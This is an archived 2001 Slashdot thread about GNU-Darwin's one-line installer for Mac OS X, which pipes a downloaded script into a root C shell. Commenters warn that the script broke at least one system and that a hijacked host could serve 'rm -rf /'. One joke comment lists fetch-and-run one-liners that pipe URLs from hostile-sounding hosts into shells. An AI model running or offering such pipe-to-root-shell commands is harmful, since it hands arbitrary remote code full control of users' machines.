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GNU-Darwin Goes Beta

Posted by CmdrTaco on Mon Oct 29, 2001 11:28 AM
from the now-that's-easy dept.
Operating Systems BSD
proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)
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  • i think all the information on getting back etc is covered at www.xdarwin.com ... something like ctrl+fnc a i think.

  • gnome over x? (Score:4, Insightful)

    by macsox (236590) on Monday October 29 2001, @11:35AM (#2493012) Journal
    i am truly at a loss as to why one would install gnome over os x. i understand the issue of an os being open-source, etc., but you can pick up a $99 pentium box to run gnome, if you're that interested in having it.

    (and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)

    • Re:gnome over x? (Score:4, Interesting)

      by alfredo (18243) on Monday October 29 2001, @11:50AM (#2493079)
      It gives expanded resources. You can run it rootless so XWindows apps run alongside Aqua apps.

      Steve Jobs knew this would happen. Kind of like Field of Dreams, "If you build it, they will come."

      Here is one screenshotWindowmaker and other goodies [hyperjeff.net]

      this one is nice too. a lot going on [hyperjeff.net]

      • Ok, that's really freaky. It almost makes me want to have a Mac.

        I thought Aqua didn't use X though. How does this actually work? What's the window manager?

        • Re:gnome over x? (Score:4, Informative)

          by Ryan Amos (16972) on Monday October 29 2001, @12:51PM (#2493370)
          Aqua doesn't, however, you can download a rootless X server (http://sourceforge.net/projects/xonx/ [sourceforge.net]) that lets you run X apps right along with Aqua apps. The same files are also available on http://macosx.forked.net/ [forked.net] in Mac OS X .pkg files, along with other useful stuff OS X doesn't include, such as ncurses. The window manager, by the way, is whatever window manager you decide to install-- it's just XFree86 ported to a darwin kernel with a rootless option. If you're not running OS X, XDarwin (not XonX) will probably work better for you.. It doesn't have the rootless option, but if you don't have Aqua, you don't really need it. Hope this was of help to some people.

          • Does that mean that the X applications run on a plane "above" Aqua? So an X window can't be beneath an Aqua window?

            I guess what I'm missing is how these two environment's interact. How, for example, does an event (mouse-click, keypress, etc.) get to the right environment? If I give focus to an Aqua window, does the X window lose focus?

            • Your X environment is a Mac application that you can switch to by clicking on its window or on its dock or double clicking on its finder icon. Once the X environment is frontmost, you can switch frontmost apps the way you usually do with whatever window manager.
      • Seeing a Nextstep-ish window system on top of OS X is quite a hoot! Thanks.
    • Simplicity and variety, my friend. Instead of having to boot to another OS, you just have to fire up gnome. Plus, there are a few apps, such as the kickass Galeon, which don't run under OSX. More programs is always a good thing.

      And the 20 second rule is to try to discourage crapflooders and trolls. Not very effective, but its something most regular users don't come across (I haven't, at least).

    • A $99 pentium box? Why? If you already have an OSX capable machine, it costs far less to install the GNU-Darwin distribution. The hassles associated with integrating a old, slow machine into a home network are surely not worth it...

      I use a similar ditribution to run GNU-Octave on my machine. It is faster and more convenient for me to run X apps on my iBook than on my old Pentium II linux box.
    • i am truly at a loss as to why one would install gnome over os x

      I'm surprised nobody else said this; It's let's me run my X apps. As a long time linux user who just switched to OSX I find myself missing gvim, gaim, etc. With X11, I can get these things going again. Now I have the beauty of OSX, the stability of unix (bsd), and the apps of the open source world. I like my apple.

  • What's so special about this distribution? (Score:5, Interesting)

    by Jeremy Erwin (2054) on Monday October 29 2001, @11:42AM (#2493036) Journal
    I use fink [sourceforge.net] myself. It's sort of a clone of apt-get for OSX. I have octave, gimp, latex, and a host of other applications on my machine. What's the advantage of this "distribution"?

    • fink == apt-get (Score:4, Informative)

      by mbrubeck (73587) on Monday October 29 2001, @02:43PM (#2493947) Homepage
      I use fink myself. It's sort of a clone of apt-get for OSX. Minor correction -- fink is not "sort of a clone" of the Debian tools. It is actually a frontend to the dpkg/apt suite, which they ported to OS X. Fink uses the real Debian package management tools and the .deb package format.
  • A few of my friends have installed this package and they've generally been very impressed. The applications are speedy and rock-solid. The one exception that they mention is Dillo: "a replacement for any major web browser." Although Dillo renders quickly and doesn't have a bloated UI [mozilla.org], its support for major features such as JavaScript 2 and CSS is lacking, to be kind. Many web pages, such as MSN [msn.com] and Tom's Hardware [tomshardware.com], look very cluttered and misrendered in it - if they even come up at all.

    Dillo is a neat little effort, a cool side project, but no replacement for a real browser like Galeon or Konqueror. It is beyond a shadow of a doubt, the lowest point of the GNU-Darwin package.

    -CT

  • That script is weird... (Score:4, Informative)

    by CoolVibe (11466) on Monday October 29 2001, @12:03PM (#2493141) Journal
    It replaces everything with GNU darwin stuff if you run it on Mac OS X. How do they know that doesn't break anything? e.g. GNU ls is different from the BSD type ls Mac OS X has installed default. I think a big YMMV is in place here.

    That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.

    Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?

    But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.

    • I installed the full gnu fileutils a while ago to get colorized ls, and df -h, and after a while I realized that the gnu rm command does *not* work with mac os x. I had lots of problems with the drive thinking it was full when it was not, etc. I could fix everything with fsck, and the problems went away when I went back to the included rm command. (As always, this may have been fixed since I had problems with it.)

      Also, Apple does beneficial work on the commands that they include. For example, with the rm included in 10.1, it is now able to delete files that are locked at the (HFS+) filesytem level. Gnu rm will never do that.
    • Running the script hosed my system unrepairably. It would no longer boot into OS X AT ALL! Only a full reformat & re-install fixed it.
      Definitely a YMMV is in order.
      • Why is it trolling? I'm just warning people that they should not run that script with reckless abandon. I read the script and there is stuff in there that is just beyond me. Replacing the OSX shipped fileutil-like tools with GNU versions is a bad idea. if the OSX user is running on a HFS+ partition (as many do. Mac OS Classic and Carbon apps have some issues with UFS, because the directory delimiter on HFS is ':' and UFS uses '/'. This seriously confuses some apps. Same goes for some GNU utils that just don't take the proprietary HFS+ filesystem features into account, which is understandable, since the HFS+ fs isn't really open. You needn't replace them because they're not broken. Oh, and not everyone has the same setup. Some people use UFS, some with HFS+. Some people run with classic, some without. Some run OS X 10.0.4, and some run 10.1. That's a lot of variables. So it might work on your system, but not on someone else's. However, the people that _do_ end up with a hosed machine should mail you guys about what setup they have, what version OSX they use, if they use HFS+ or UFS etc. etc. That install script can go a long way as you get more input about systems on which it doesn't work. That's Finnagle's law for ya.

        Nevertheless, what you guys are doing with the free Darwin system is very cool, I will heartily agree with that, but "upgrading" my existing OSX system with your script is a bit dangerous. There's another comment in this discussion somewhere that talks about that as well. Maybe you could provide a version of the script that only installs the rootless X stuff and the GNOME bits, and maybe a script that transforms an Aqua system to a GNU/Darwin one. The possibilities are endless here, as are the wishes of the people that wish to run those nifty OSS X11 apps on their Aqua setup. I would like to help, but I have priorities elsewhere that take up most (if not all) of my scarse free time. I will definately try GNU/Darwin on my Mac, but I'll just play safe and set a partition aside for it, so I won't hose my Aqua system.

        You guys are doing a great job, but the OSX install script has issues (and it even says 'untested' in the script header somewhere). I am not trolling, and I am not attacking your project. I am merely warning people that they should be careful.... That's all... You guys keep on going. You are doing some cool stuff. But a YMMV is definately in order here.

        So people, just try the upgrade script, but your mileage may vary. Oh, if it somehow screws up your machine, please send bugreports to the GNU/Darwin people and don't forget to report what setup you have and what the problems were so they can fix it.

        • This is not an upgrade for an Apple supplied OSX installation, this is an installation for a Darwin (not supplied or supported by Apple) installation. If you're using OSX and running this script you'll probably fuck something up seriously because OSX is a bit different from the Darwin distro. You can run the GNU-Darwin Ports on OSX but it would be pretty silly for me to run this script on my 10.1 installation on my Powerbook.

  • WGET Missing from OS X.1 (Score:3, Interesting)

    by Buran (150348) on Monday October 29 2001, @12:19PM (#2493215)
    "This assummes you have curl or wget or something."

    Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site [24.5.29.77] for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here [24.5.29.77] (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)

    If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here [gnu.org].

    Beats me why Apple did this...

    • Beats me why Apple did this...

      I believe it was deprecated in favor of curl, which I'm told is more robust anyway. It has the same basic syntax:

      curl url
    • they did this because wget is gpl, and for whatever reason they saw this as a reason not to include it. After updating to 10.1 the first thing i did was install fink tho, and type 'fink install wget' into terminal. Minutes later i had a fully compiled/working install of wget, waiting to go! Yay fink!

  • This just in... (Score:3, Funny)

    by geomcbay (263540) on Monday October 29 2001, @12:24PM (#2493236)
    Matt Dillon falls off his rocker, calls for this project to be renamed BSD/GNU-Darwin.

  • Um, disturbing (Score:5, Interesting)

    by skullY (23384) on Monday October 29 2001, @12:40PM (#2493312) Homepage
    Is anyone else highly disturbed by this? Have you read through that csh script? And why csh, there's no black magic there, and at least my copy of osx came with /bin/sh.

    From the script:

    essential_binaries:

    curl -o wget http://gnu-darwin.sourceforge.net/packages/wget
    chmod 755 wget
    cp wget /usr/bin
    rehash
    Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?)

    cd /usr/bin

    mv tar ~
    wget http://gnu-darwin.sourceforge.net/packages/tar
    chmod 755 /usr/bin/tar
    wget http://gnu-darwin.sourceforge.net/packages/killall
    chmod 755 /usr/bin/killall
    Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.

    *sigh*

    I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.

    • Indeed... Wow, sensible people at slashdot. Who would have thought that? ;-)

      Instead of instantly running to my Mac OS X machine to type in the command line so I could have GNU/Darwin on my OSX installation I first _READ_ the script.

      Again... YMMV to all who try this out. Don't whine if it breaks. I can not stress this enough: back up your important files first.

      I wish Taco took more care in posting stories like this without slapping a big YMMV on it. Someone actually might try it out and render his system unusable. I'm waiting for the horror stories already.

      Oh, I would like to mention that GNU/Darwin is very cool, I have no gripes with it (yeah, well I got some, but they are merely small things I needn't bother anyone with and which I can easily solve myself) but I am always weary of "ready to run" upgrade scripts that run right off the web. It makes me think of a comment Wietse Venema once made about security and running scripts in a hapless fashion without checking what it actually does.

      So... again... YMMV... If it breaks, well, you have been warned. Now go and have fun. GNU/Darwin is seriously cool. Try it. (but back up your files, just in case).

        • IRIX is one example. I thought, well I'll just type killall to see it's quick help (assuming the GNU style of telling me a quickhelp with invalid command line options).

          That really kills EVERYTHING, no prompt, no quckhelp, (if you were root). It's the fastest way to take down a small supercomputer that I know of. :)

  • curl | csh? Danger will Robinson, danger!!! (Score:3, Insightful)

    by Mike McTernan (260224) on Monday October 29 2001, @01:52PM (#2493669) Homepage

    curl http://gnu-darwin.sourceforge.net/one_stop | csh

    Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...

    Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...

  • x86 Darwin (Score:4, Interesting)

    by Hostile17 (415334) on Monday October 29 2001, @02:30PM (#2493851) Journal
    Does anyone know if any active development is taking place for the x86 port of Darwin ? I have downloaded it and had look, but it supports very little hardware and if I build a system just for it, I might as well get an iMac and use it in its native platform.

  • Note the actual license on GNU-Darwin-ports (Score:3, Informative)

    by mr (88570) on Monday October 29 2001, @02:59PM (#2494042)
    Is actually a BSD license.

    And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/

  • Um yeah... Just for the people who copy and paste before reading through!

  • Other safe, easy installations to run as root: (Score:3, Funny)

    by Nindalf (526257) on Monday October 29 2001, @04:03PM (#2494382)
    curl http://madhaxxors.com/0wnZj00 | sh
    curl http://goatse.cx/setwallpaper.csh | csh
    curl http://spamforprofit.org/easymoney.pl | perl
    curl http://microsoft.com/msonly/seekNdestroy | bash
  • Hey

    Lots are being said about cURL in these discussions, both favourable and some things not so favourable. Feel free to stop by and make your own opinion.

    We host our project web pages at http://curl.haxx.se/ [curl.haxx.se] and we welcome your contributions!

  • Darwin is not a GNU project. FreeBSD is not a GNU project. Mach is not a GNU project. OSX is not a GNU project.

    And of course, GNU Darwin is not a GNU project. So why is it called "GNU Darwin"? This project has nothing to do with GNU. Sure it has some ported GNU software, but so do my Solaris and FreeBSD boxen. Come to think of it, so do my Windows and QNX boxen.
      • RMS wants LinuxOS to be called GNU/Linux because he really believes that it is "The GNU System" that he started back in 1985. It has nothing to do with there being GNU software included. Solaris ships with GNU software but RMS doesn't call it GNU/Solaris. FreeBSD contains just as much GNU software as LinuxOS does, but he doesn't want to call it GNU/FreeBSD.

        He just thinks that Linux is really The GNU System with linux as the kernel instead of Hurd.

        GNU Darwin is no such beast. Not even close.

        In theory, your Windows box with GNU software (If it has the full set) is now "GNU-Windows".

        Of course Windows doesn't have the "full set". GNU is a complete operating system in its own right. What good is Hurd going to do under Windows?

        But that's beside the point. Not even RMS considers Windows with all possible GNU software installed on it to be "GNU/Windows".
      • We call it GNU-Darwin because we are reaching Apple users with free software.

        That might make sense if all of the free software you were porting over to Darwin where GNU software. But it's not. GNU is not a repository of all possible free software. It is a specific project to create a specific operating system.

        Why not call it "BSD Darwin"? BSD is also free software, and there's a hell of a lot more BSD stuff in GNU Darwin than there is GNU stuff. Since RMS insists that LinuxOS be called "GNU/Linux" since he thinks it is derived from GNU, then why not call your project "BSD Darwin" since it is clearly derived from BSD software.

        Or even better, since you want to use "GNU" to imply "free", why not just call it "Free Darwin?" You would avoid much confusion that way. It would also avoid pissing off the BSD community by taking their software and renaming it GNU.

          • Re:GNU? (Score:3, Insightful)

            by Anonymous Coward
            What the shit is this? Are you RMS in the form of a teenager?

            GNU != free

            ...and it sure would be nice if RMS and his commie-butties would quit trying to give such a singular meaning to a word that has so many interpretations within our language.

            It's absurd, I tell you. Websters has it right. There's multiple definitions of the word "free". Therefore, assuming a singular meaning for a term like "free software" is bunk.

            By the way, I find you and your project boring and trollsome. I'm glad you prefixed it with "GNU" so I can toss it into the same loony bin linux belongs in.

            (pre-emptive "fuck you" to the moderator who mods this down - I'm damn right with respect to the word free, don't cover it up with slashtrash points)
  • I mean, Darwin has it's own mascot, the Platypus. Why not use that instead of the BSD demon?

    • Ximian (Score:2, Informative)

      by cachedout (522334)
      Why is this so unique? Ximian Gnome has been using this installation method for a while now. All a user has to do assuming X is installed and working is type as root, 'wget http://go-gnome.com | sh'. Simple as that....
      • And you know what... I didn't like that either. In fact, I finally stopped using their updater. I'm no longer so much on the cutting edge, but I usually get CD's from a trusted source, and that's what I do my installs from. Upgrades are via a signed download file. Usually in source form.

        Perhaps yast or apt-get check the signatures on files. RPM does also (well, except for a few files this last time .. which I haven't moved to yet).

        I don't really like blindly trusting downloads, even from good sites. There have been too many compromises.

        (I must admit, that what really got to me about Ximian was the way that it tended to stomp all over KDE installations, but when thinking about replacement strategies, I realized just how uncomfortable I was with the blind downloads.)

      • Re:And whats even better, (Score:2, Informative)

        by Anonymous Coward
        Few reasons:
        • beause you can access your existing HFS+ volumes
        • because you don't need to repartition your harddrive when installing alongside MacOS
        • because you can access resource forks, type/creator codes and all that stuff
        • because putting a machine to sleep actually works
        and more...
    • What are you talking about? How does culr "taint" anything? Curl is dually licensed under an MIT/X-derived license and the MPL. The MIT/X license is GPL compatible. Are you trolling or just confused?
    • Blah, BSD people don't care if you license their stuff GPL. That's why they licensed it BSD, because they want you do whatever fits you best.

      Curl, proprietary, are you on crack or just a troll? Curl is under a MIT/X license. Check out http://freshmeat.net/projects/curl/
    • OK, so they took from BSD, gave to GPL, then mixed the result with something as absurdly proprietary as Curl.


      But not only that, they're disappearing down the same route as Ximian, namely chasing Microsoft in the "features and convenience are more important than security" game. The more users get used to seeing installation instructions that involve piping the output of an arbitratory web download into a root shell, the more they'll start to believe that's just the way it's done. You or I might know better, but the average user that'll be thinking ofdoing this probably won't.

      • The more users get used to seeing installation instructions that involve piping the output of an arbitratory web download into a root shell, the more they'll start to believe that's just the way it's done.

        When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?

        This is no different from downloading a tarball with a Makefile inside. You are downloading a script from the net and running it as root. You either check the script yourself beforehand, or you rely on the fact that a reputable party is providing the script and that more paranoid users will be checking it and publicizing any trojans inside (and ruining the reputation of the author).

        The situation I would really warn against is running an unexamined script that isn't provided by a known author, or even worse a compiled binary with no source available. As long as the source is public, it is no different from what Unix admins have been doing for decades every time they install software.

        • When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?


          Dunno about you, but when I download a tarball, I sure as hell don't su to root and blast away with 'make install' right after I get it. I read the READMEs and install instructions, read some docs, check out the available install options, and generally have a look around. Then I make the binaries under my usual login account, take a look at the results, and finally 'make install' as root as the very last step.

          Sure I could still get fooled that way, but it does give me a good chance at an informed opinion about whether the stuff I downloaded and will install is indeed what I thought I was getting. And in fact, sometimes I've stopped the process, because the package in question required something for the install that I wasn't willing to do.

          Piping the output of a web page into the C-shell as root is about the most cockamamie idea I have ever seen! And this is in a headline on Slashdot! You've got no chance to decide whether you're installing something legit -- even the most cursory inspection is impossible. Sheesh, if this is what people running Unix boxen are going to start doing, then it won't be long before the Unix world is just as saturated with Code Reds and Nimdas and God knows what-all the Microserfs have to live with.
    • If I were a GPL lover, I would get tainted with Curl.

      You've got to be a troll. Anyone who's been around *NIX for 2 months or longer knows the difference between cURL [curl.haxx.se] and Curl [mit.edu]. The fact that the context is either using "curl" or "wget" makes this incredibly clear.

      • No. Not trolling. I've dabbled in *NIX and have a BSD partition for when I absolutely need it, but I only fire it up every 6 months, sometimes longer.

        I honestly had no idea there was something called cURL. The only time I had ever heard "curl" used in association with computing was in connection with Curl, the MIT-commercial partnership to which you linked. So, I retract my previous statements in regards to cURL.

        Maybe I went off half-cocked, but then again if I made this mistake maybe others will too. Poor marketing on the part of cURL? If Curl is really "out to get people" maybe cURL should consider a pre-emptive name change to prevent lawsuits.

          • Well now, it seems that you are just being petty here, but I'll reply anyway.

            Perhaps your not a part of tehir target market? Or is your ignorance always the blame of someone's marketing department?

            As a matter of fact, my ignorance is the fault of marketing. It's not my job to know the name and purpose of every product on the market. It's marketing's job to make their product something I know about. If it weren't for marketing, "windows" would be something you open when the weather is warm, "oracle" would live in "delphi" and "ford" would be a stream crossing. It wouldn't be my fault for not associating these words with something else.

            Now it seems to me that Curl must have a pretty good marketing department, since they got mentioned on /. even though their philosophy is 180 from a lot of people here. cURL OTOH, being Open Source, probably doesn't care about marketing, which is just one of many problems with OS/FS.

            Being reasonable people, I don't think they have any intention of suing MIT

            Read what I said again. You switched cURL with Curl.

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